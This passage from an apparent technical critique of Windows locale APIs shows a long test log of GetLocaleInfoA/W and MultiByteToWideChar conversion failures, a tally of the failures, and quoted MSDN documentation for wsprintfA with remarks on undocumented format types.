۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000859 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000859 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000456 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007850 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007850 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000450 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000450 0x00007C46 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C46 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C46 0x00000846 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000846 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000846 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000444 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000444 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C43 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C43 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007843 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007843 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000843 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000843 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000443 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000443 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000442 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000442 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000440 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000440 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000083C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C3B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000783B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000743B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000743B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000703B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000703B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000243B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000243B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000203B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000203B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C3B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000183B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000183B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000143B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000103B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C3B 0x0000083B COUNTRY GetLocaleInfoW = 7: Ruoŧŧa UTF16LE » UTF8 = 9: Ruoŧŧa GetLocaleInfoA = 7: Ruotta UTF8 » UTF16LE = 7: Ruotta MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000083B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000043B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000438 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000438 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000042F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000042F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C2E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000082E 0x0000042E COUNTRY GetLocaleInfoW = 7: Němska UTF16LE » UTF8 = 8: Němska GetLocaleInfoA = 7: Nemska UTF8 » UTF16LE = 7: Nemska MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000042E 0x0000782C COUNTRY GetLocaleInfoW = 11: Azərbaycan UTF16LE » UTF8 = 12: Azərbaycan GetLocaleInfoA = 11: Az?rbaycan UTF8 » UTF16LE = 11: Az?rbaycan 0x0000782C LANGUAGE GetLocaleInfoW = 11: azərbaycan UTF16LE » UTF8 = 12: azərbaycan GetLocaleInfoA = 11: az?rbaycan UTF8 » UTF16LE = 11: az?rbaycan MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000742C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000742C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000082C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000082C 0x0000042C COUNTRY GetLocaleInfoW = 11: Azərbaycan UTF16LE » UTF8 = 12: Azərbaycan GetLocaleInfoA = 11: Az?rbaycan UTF8 » UTF16LE = 11: Az?rbaycan 0x0000042C LANGUAGE GetLocaleInfoW = 11: azərbaycan UTF16LE » UTF8 = 12: azərbaycan GetLocaleInfoA = 11: az?rbaycan UTF8 » UTF16LE = 11: az?rbaycan 0x0000042A COUNTRY GetLocaleInfoW = 9: Việt Nam UTF16LE » UTF8 = 11: Việt Nam GetLocaleInfoA = 9: Vi?t Nam UTF8 » UTF16LE = 9: Vi?t Nam 0x0000042A LANGUAGE GetLocaleInfoW = 11: Tiếng Việt UTF16LE » UTF8 = 15: Tiếng Việt GetLocaleInfoA = 11: Ti?ng Vi?t UTF8 » UTF16LE = 11: Ti?ng Vi?t 0x00000429 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000429 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000429 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C28 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C28 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000428 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000428 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000427 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000426 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000424 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000423 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000423 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000422 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000422 0x00000820 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000820 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000820 0x00000420 DIGITS GetLocaleInfoW = 11: ۰۱۲۳۴۵۶۷۸۹ UTF16LE » UTF8 = 21: ۰۱۲۳۴۵۶۷۸۹ GetLocaleInfoA = 11: ?????????? UTF8 » UTF16LE = 11: ?????????? MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000420 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000420 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVEDIGITS of LCID 0x0000041E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000041C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000041B MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00006C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00006C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000641A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000641A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000301A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000301A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000281A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000281A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000201A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000201A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C1A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000081A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000819 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000819 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000419 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000419 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000818 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000418 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000418 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000816 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000416 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C14 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000414 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000813 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000412 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000412 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000411 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000411 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040F MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040E MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040D MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040D MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000380C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000340C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000300C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000300C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000280C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000280C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000240C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000240C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000200C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000200C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000180C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000140C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000100C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C0C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000080C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040C MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00005C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000580A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000580A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000540A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000500A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00004C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000480A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000440A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000400A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000380A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000340A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000300A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000280A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000280A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000240A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000200A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000180A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000180A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000140A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000100A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C0A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000080A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000080A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x0000040A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x0000040A MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000408 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000408 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C07 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000405 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000405 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007C04 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007C04 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00007804 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00007804 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001404 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001404 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001004 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001004 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C04 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C04 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000804 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000804 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000404 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000404 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000803 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000403 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000402 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000402 0x00004001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00004001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00004001 0x00003C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003C01 0x00003801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003801 0x00003401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003401 0x00003001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00003001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00003001 0x00002C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002C01 0x00002801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002801 0x00002401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002401 0x00002001 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00002001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00002001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00001001 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00001001 0x00000C01 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000C01 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000C01 0x00000801 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000801 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000801 0x00000401 DIGITS GetLocaleInfoW = 11: ٠١٢٣٤٥٦٧٨٩ UTF16LE » UTF8 = 21: ٠١٢٣٤٥٦٧٨٩ GetLocaleInfoA = 11: 0123456789 UTF8 » UTF16LE = 11: 0123456789 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVECTRYNAME of LCID 0x00000401 MultiByteToWideChar() returned error 1113 for LOCALE_SNATIVELANGNAME of LCID 0x00000401 0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113) Error message text: No mapping for the Unicode character exists in the target multi-byte code page. CertUtil: -error command completed successfully.OUCH¹: here the output of substitution characters
?
is unexpected,
abnormal and erroneous behaviour!
OUCH²: in 260 cases the
MultiByteToWideChar()
function fails with Win32 error code 1113 alias
ERROR_NO_UNICODE_TRANSLATION
,
i.e. the
GetLocaleInfoA()
function returns invalid
UTF-8
in these 260 cases – a desastrous result!
OUCH³: in 41 cases the UTF-8 output differs from the UTF-16LE output.
OUCH⁴: in 8 of these 41 cases the
GetLocaleInfoA()
returns a string only containing the
ASCII
substitution character ?
, i.e.
the
UTF-8
support in Windows’
National Language Support
functions is a very bad joke!
LCType
parameter which yield native text,
in particular
LOCALE_S1159
,
LOCALE_S2359
,
LOCALE_SABBREVDAYNAME*
,
LOCALE_SABBREVMONTHNAME*
,
LOCALE_SCURRENCY
,
LOCALE_SDAYNAME*
,
LOCALE_SLONGDATE
and
LOCALE_SMONTHNAME*
,
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
-A vs. -W APIs:
Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.The Win32 function
wsprintfA()
is documented in the
MSDN as
follows:
Writes formatted data to the specified buffer. Any arguments are converted and copied to the output buffer according to the corresponding format specification in the format string. The function appends a terminating null character to the characters it writes, but the return value does not include the terminating null character in its character count.Oops: this specification but fails to document the types[…]
[…]int wsprintfA( LPSTR lpOut, LPCSTR lpFmt, ... );
[…]
- lpOut [out]
- The buffer that is to receive the formatted output. The maximum size of the buffer is 1,024 bytes.
- lpFmt [in]
- The format-control specifications. In addition to ordinary ASCII characters, a format specification for each argument appears in this string. For more information about the format specification, see the Remarks section.
- ... [in]
- One or more optional arguments. The number and type of argument parameters depend on the corresponding format-control specifications in the lpFmt parameter.
If the function succeeds, the return value is the number of characters stored in the output buffer, not counting the terminating null character.
If the function fails, the return value is less than the length of the expected output. To get extended error information, call GetLastError.
[…]
A format specification has the following form:
%[-][#][0][width][.precision]type
Each field is a single character or a number signifying a particular format option. The type characters that appear after the last optional format field determine whether the associated argument is interpreted as a character, a string, or a number. The simplest format specification contains only the percent sign and a type character (for example, %s). The optional fields control other aspects of the formatting. Following are the optional and required fields and their meanings.
Field Meaning … … type Output the corresponding argument as a character, a string, or a number. This field can be any of the following values.
- […]
- ls, lS
- String. This value is always interpreted as type LPWSTR, even when the calling application does not define Unicode. This value is equivalent to ws.
lp
alias tp
alias wp
alias Ip
(all equivalent to p
),
tx
(equivalent to Ix
) and tX
(equivalent to IX
) for unsigned pointers in hexadecimal
